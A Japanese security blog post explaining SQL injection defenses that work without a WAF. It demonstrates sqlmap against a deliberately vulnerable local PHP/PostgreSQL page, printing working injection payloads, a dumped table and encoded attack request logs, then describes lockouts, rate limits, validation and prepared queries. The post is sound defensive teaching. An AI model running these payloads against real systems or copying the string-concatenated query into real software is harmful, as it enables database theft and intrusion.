現在位置: ホーム / OSSブログ / WAF要らずのSQLインジェクション対策

WAF要らずのSQLインジェクション対策

今回は注目される脆弱性問題に関連して、SQLインジェクション対策をご案内いたします。Webアプリケーションの脅威としてSQLインジェクションがあります。SQLインジェクションが可能な場合、データベースを操作される以上の脅威も発生します。WAFとはWeb Application Firewallです。Webアプリケーションの脆弱性を緩和させる目的に利用します。SQLインジェクションの緩和策としても利用されています。

SQLインジェクションで可能な攻撃

WebアプリケーションにSQLインジェクションが在ることで可能な攻撃は、データの窃盗・改ざんのみではありません。例えば、オープンソースのSQLインジェクションツールは以下の機能をサポートしています。

  • データベースベースの検出: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB
  • 攻撃技術: boolean-based blind, time-based blind, error-based, UNION query, stacked queries, out-of-band
  • DB情報の列挙: users, password hashes, privileges, roles, databases, tables, columns
  • ハッシュ化されたパスワードの辞書攻撃
  • データベースダンプ
  • ファイルのアップロード/ダウンロード
  • 任意コマンドの実行と標準出力の取得
  • データベースサーバーとTCP接続の確立(VNCなどを利用可能)
  • データベース権限エスカレーション脆弱性の攻撃 http://sqlmap.org/

いたれりつくせり、SQLインジェクションさえできれば、ほぼ何でもありと言えます。SQLインジェクション脆弱性があれば、バックエンドのデータベースのサーバーの種類から、テーブル定義やユーザーまで全て取得できます。しかし、これら全てが可能かと言うとサーバーの設定などに影響されます。例えば、任意コマンドの実行には、ファイルへの書き出しが可能であること、共有ライブラリがロードできる必要があります。全てのサーバーで上記の攻撃全てが行える訳ではありません。

sqlmapによるPostgreSQLの攻撃例

今回はsqlmapの開発版(2014/02/24)を利用しました。sqlmapはPythonで動作します。Python 2.6/2.7が使える環境であれば動作します。

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

を実行してレポジトリのsqlmap.pyを動かすだけです。

攻撃用のアプリ

攻撃用のアプリを作るのも簡単です。

脆弱なPHPスクリプト - index.php

<html>
<head>
<title>SQL Injection
</head>
<body>
<?php
ini_set('error_log', '/tmp/php-error.log');
$db = pg_pconnect('host=localhost dbname=test') or die('Cannot connect DB');
//error_log($_SERVER['REQUEST_URI']);
if (isset($_GET['id'])) {
 $sql = 'SELECT * FROM test WHERE id = '.($_GET['id']).';';
 $res = pg_query($sql);
 if (!$res) {
  // Database error
  error_log(pg_last_error());
  die('Possbile attack is detected. Issue is reported to admin.');
 }
 var_dump(pg_fetch_all($res));
} else {
 echo 'Click here';
}
?>
</body>
</html>

データベース定義

username@[local] test=# \d test
                      テーブル "public.test"
 列  |   型    |                      修飾語                       
-----+---------+---------------------------------------------------
 id  | integer | not null default nextval('test_id_seq'::regclass)
 str | text    |

攻撃用アプリの起動にはWebサーバーは必要ありません。PHP 5.4以降のphpコマンドが利用できるなら、先ほどのindex.phpを保存したディレクトリから

php -S 127.0.0.1:8000

を実行するだけです。

sqlmapを利用した攻撃

sqlmapで攻撃させるのは非常に簡単です。http://localhost:8000/?id=1 のURLが脆弱なアプリなので、次のように攻撃します。

python sqlmap-dev/sqlmap.py -a -u http://localhost:8000/?id=1

詳しい解説は省略しますが、-a は全てのデータを取得するオプション、-u は攻撃先のURLです。全自動で実行してくれます。(全てのオプションの解説:https://github.com/sqlmapproject/sqlmap/wiki/Usage

実行するとパスワードハッシュのクラックを行うか、などの質問があります。Y/Nを入力するだけでデータベースの中身を丸ごと取得してくれます。

実行画面

$ python sqlmap-dev/sqlmap.py -a -u http://localhost:8000/?id=1

    sqlmap/1.0-dev-2a423d6 - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:42:52

[16:42:53] [INFO] resuming back-end DBMS 'postgresql'
[16:42:53] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2968=2968

    Type: error-based
    Title: PostgreSQL AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4051=CAST((CHR(113)||CHR(116)||CHR(108)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (4051=4051) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(109)||CHR(109)||CHR(98)||CHR(113)) AS NUMERIC)

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT NULL,(CHR(113)||CHR(116)||CHR(108)||CHR(118)||CHR(113))||(CHR(112)||CHR(90)||CHR(66)||CHR(107)||CHR(122)||CHR(82)||CHR(110)||CHR(117)||CHR(107)||CHR(118))||(CHR(113)||CHR(109)||CHR(109)||CHR(98)||CHR(113))--

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: id=1; SELECT PG_SLEEP(5)--

    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: id=1 AND 6184=(SELECT 6184 FROM PG_SLEEP(5))
---
[16:42:53] [INFO] the back-end DBMS is PostgreSQL
[16:42:53] [INFO] fetching banner
web application technology: PHP 5.5.8
back-end DBMS operating system: Linux Red Hat
back-end DBMS: PostgreSQL
banner:    'PostgreSQL 9.2.6 on x86_64-redhat-linux-gnu, compiled by gcc (GCC) 4.8.2 20131017 (Red Hat 4.8.2-1), 64-bit'
[16:42:53] [INFO] fetching current user
current user:    'yohgaki'
[16:42:53] [INFO] fetching current database
[16:42:53] [WARNING] on PostgreSQL you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
current schema (equivalent to database on PostgreSQL):    'public'
[16:42:53] [WARNING] on PostgreSQL it is not possible to enumerate the hostname
hostname: None
[16:42:53] [INFO] testing if current user is DBA
current user is DBA:    True
[16:42:53] [INFO] fetching database users
database management system users [6]:
[*] pdo_159
[*] pdo_216
[*] pdo_35
[*] postgres
[*] root
[*] test

[16:42:53] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

例えば、このテスト用のPostgreSQLのデータベースにはscretという名前のテーブルがありました。このテーブルはCSV形式のファイルとして保存されます。

scretテーブルのCSVダンプファイル

$ cat sqlmap-dev/output/localhost/dump/public/secret.csv 
id,secret
1,my_secret
2,another_secret

テーブル以外にもユーザー名、パスワードハッシュ、全てのスキーマ情報がダンプされます。辞書を使ったパスワードハッシュのクラックまでしてくれます。正に至れり尽くせりです。

特筆すべきは、この攻撃の間にSQLクエリエラーが全く発生しないようになっている事です。SQLクエリエラーを監視しているだけでは、データベースを丸ごと盗まれた事に気づきません。

備考:ただし、エラーが発生しない条件にはSQLインジェクション脆弱性が必要です。sqlmapの実行画面からわかるように、

Payload: id=1 AND 2968=2968

SQL文のパラメータがそのまま記載されている事を前提にしています。もしプリペアードクエリを使用するか、文字リテラルとしてエスケープを行っていればIDは整数コラムなのでエラーが発生します。

SQLインジェクション攻撃を行う手順

オープンソースシステムなどで脆弱な部分が判明している場合、攻撃者は直接脆弱なページを攻撃できます。しかし、そうでなければ脆弱な部分を探す事になります。sqlmapは攻撃が検出されないよう、できる限りSQLクエリエラーが発生しないようにしています。しかし,SQLインジェクション脆弱性を手動で探している場合、エラーが発生しないかどうか確認する事は多いです。URLやHTMLフォームパラメータに '(シングルクォート)を含ませてエラーが発生しないかどうか確認します。

一旦SQLインジェクションに脆弱な箇所を発見したら、sqlmapなどを使って攻撃します。sqlmapは非常に高度な攻撃を行うので多数のリクエストを送信します。そのリクエストは以下の様なリクエストになります。

REQUEST_URIの値のログ

[25-Feb-2014 16:52:55 Asia/Tokyo] /?id=1%20UNION%20ALL%20SELECT%20NULL%2C%28CHR%28113%29%7C%7CCHR%28116%29%7C%7CCHR%28108%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7CCOALESCE%28CAST%28classoid%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28label%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28objoid%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28objsubid%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28provider%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28113%29%7C%7CCHR%28109%29%7C%7CCHR%28109%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29%20FROM%20pg_catalog.pg_seclabel--%20
[25-Feb-2014 16:52:56 Asia/Tokyo] /?id=1%20UNION%20ALL%20SELECT%20NULL%2C%28CHR%28113%29%7C%7CCHR%28116%29%7C%7CCHR%28108%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7CCOALESCE%28CAST%28fdwacl%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28fdwhandler%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28fdwname%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28fdwoptions%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28fdwowner%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28fdwvalidator%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28113%29%7C%7CCHR%28109%29%7C%7CCHR%28109%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29%20FROM%20pg_catalog.pg_foreign_data_wrapper--%20
[25-Feb-2014 16:52:56 Asia/Tokyo] /?id=1%20UNION%20ALL%20SELECT%20NULL%2C%28CHR%28113%29%7C%7CCHR%28116%29%7C%7CCHR%28108%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7CCOALESCE%28CAST%28admin_option%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28grantor%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28member%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28115%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%7C%7CCHR%28111%29%7C%7CCHR%28104%29%7C%7CCHR%28116%29%29%7C%7CCOALESCE%28CAST%28roleid%20AS%20CHARACTER%2810000%29%29%2C%28CHR%2832%29%29%29%7C%7C%28CHR%28113%29%7C%7CCHR%28109%29%7C%7CCHR%28109%29%7C%7CCHR%2898%29%7C%7CCHR%28113%29%29%20FROM%20pg_catalog.pg_auth_members--%20

idパラメータに対して、SQLを挿入している事が分かります。

sqlmapのオプションを使って機能を制限し、送信するSQL文を削減する事も可能ですが、SQLインジェクションを行うには必ずSQL文をパラメータを挿入しなければなりません。

SQLインジェクション攻撃の防御

攻撃方法から次のような事が分かります。

  • SQLインジェクション脆弱性を探す段階でSQLクエリエラーが発生する可能性が高い
  • 繰り返し同じURIへのアクセスが大量に発生する
  • SQLインジェクションを行うには必ずSQL文がパラメータに挿入される

つまりこれらをWebアプリで検出すれば、仮にSQLインジェクション脆弱性がアプリに存在しても攻撃できなくなります。

アプリ側の対策

  • 全てのSQLクエリエラーは「致命的なエラー」としてアプリ・ユーザーをロックアウトする
  • 同じURIに対する単位時間あたりのアクセス数に閾値を設定し、閾値を越えた場合はアプリ・ユーザーをロックアウトする
  • 入力パラメータのバリデーションを厳格に行い、不正な入力の検出でアプリ・ユーザーをロックアウトする

各対策を詳しく解説します。

全てのSQLクエリエラーは「致命的なエラー」としてアプリ・ユーザーをロックアウトする

データベースへの接続エラーやトランザクションエラー等を除き、そもそもSQLエラーがプロダクション環境で発生してはなりません。SQLクエリエラーを対処方法を変える事でSQLインジェクションを防止できます。

SQLクエリエラーが発生した場合、一般公開しているページであれば、自動的にそのページを表示できないようにします。ログイン後のユーザーのみ参照可能なページの場合、エラーを発生させたユーザーをログアウトさせ、アカウントをロックします。その上で、セキュリティ上の問題が発生したとシステムにレポートさせます。

レポートを受けたらエラー発生の原因を分析し、問題があれば修正します。

注意: 認証したユーザーのみをロックアウトする場合、そのユーザーのみがロックアウトされます。しかし、認証していないページをロックアウトするとDoS(サービス不能攻撃)の原因になります。一般に公開しているWebアプリケーションで認証していないページ・アプリの場合、ページ・アプリのロックアウトを行わない事をお勧めします。代わりに不正なリクエストをユーザーに知らせ、管理者に報告する旨を伝えると良いでしょう。

 同じURIに対する単位時間あたりのアクセス数に閾値を設定し、閾値を越えた場合はアプリ・ユーザーをロックアウトする

ロックアウトの方法は前の対策と同じです。単位時間あたりのアクセス数を保存するにはmemcachedなどを用いてURIのアクセス時間を保存すれば良いです。異常なアクセスに対してはSQLクエリエラーと同じ対応を行います。

攻撃者はゆっくりとページを表示させる事で検出を回避可能ですが、データベースの中身を盗まれる前に検出できる可能性も高いです。

入力パラメータのバリデーションを厳格に行い、不正な入力の検出でアプリ・ユーザーをロックアウトする

今回、例に挙げているのは数値のみのIDパラメータに対するSQLインジェクション攻撃です。数値のみのIDのパラメータに数字以外の文字を受け入れる必要はありません。ブラウザが数値のみしか送ってこないなら、それ以外の値を送ってきた場合に、SQLクエリエラーが発生した場合と同じ対処行えば良いです。

数値以外のデータでも英数字のみ、長さに制限、フォーマットに制限がある物も多いです。フリーテキスト入力のフィールドがある場合も文字エンコーディングくらいはバリデーション可能です。入力バリデーションを行う事によりSQLインジェクション以外のリスクも削減できます。

SQLインジェクションに限らず、LDAPインジェクション、XPathインジェクション、JavaScriptインジェクション脆弱性が存在する場合でも、数値のみ、英数字のみなどのデータ(IDや項目名など)の処理に問題がある場合がほとんどです。入力バリデーションで不正な入力を許さなければ、SQLインジェクション以外の脆弱性を攻撃される可能性も削減できます。アプリでのバリデーションはWAFによるチェックに比べ維持管理は容易であるメリットもあります

まとめ

WAFによるSQLインジェクション対策はアプリケーション側で安全性を保証できない場合の追加のセキュリティ対策として有用ですが、アプリケーション側で安全性を保証できる場合(つまり、自らが構築している場合)はあまり必要ないと言えます。認証していないユーザーからの不正リクエストでアプリ・ページをロックアウトすると、DoS脆弱性の原因になります。この点には十分注意してください。

JavaScriptインジェクション対策に比べれば、SQLインジェクション対策は非常に単純です。JavaScriptインジェクション対策とは異なり、出力先のデータベースに出力する時点で完全な安全性を確保できるからです。完全な安全性を確保するには、パラメータのみが変数の場合はプリペアードクエリを利用するか、全てのパラメータをエスケープすれば良いです。テーブル名、フィールド名が変数の場合は識別子エスケープを行います。SQL語句が変数の場合はバリデーションを行います。これで完璧にSQLインジェクションを防止できます。不安な場合はコード検査の実施が良いでしょう。SQLインジェクション脆弱性はコード検査でほぼ100%検出できます。

SQLインジェクションの防止は簡単ですが、sqlmapの様に便利(危険)なツールが存在する事を前提に十分な対策をアプリケーションで行えば、SQLインジェクション対策でのWAFの必要性を削減できます。WAFは他の攻撃の防御目的にも利用できます。WAF導入の可否は様々な攻撃に対する有効性を検討して導入すると良いでしょう。

sqlmapは攻撃ツールとしてのみでなく、ブラックボックス検査のSQLインジェクション脆弱性検出ツールとしても利用できます。開発ツールの一つとして利用するのも良いでしょう。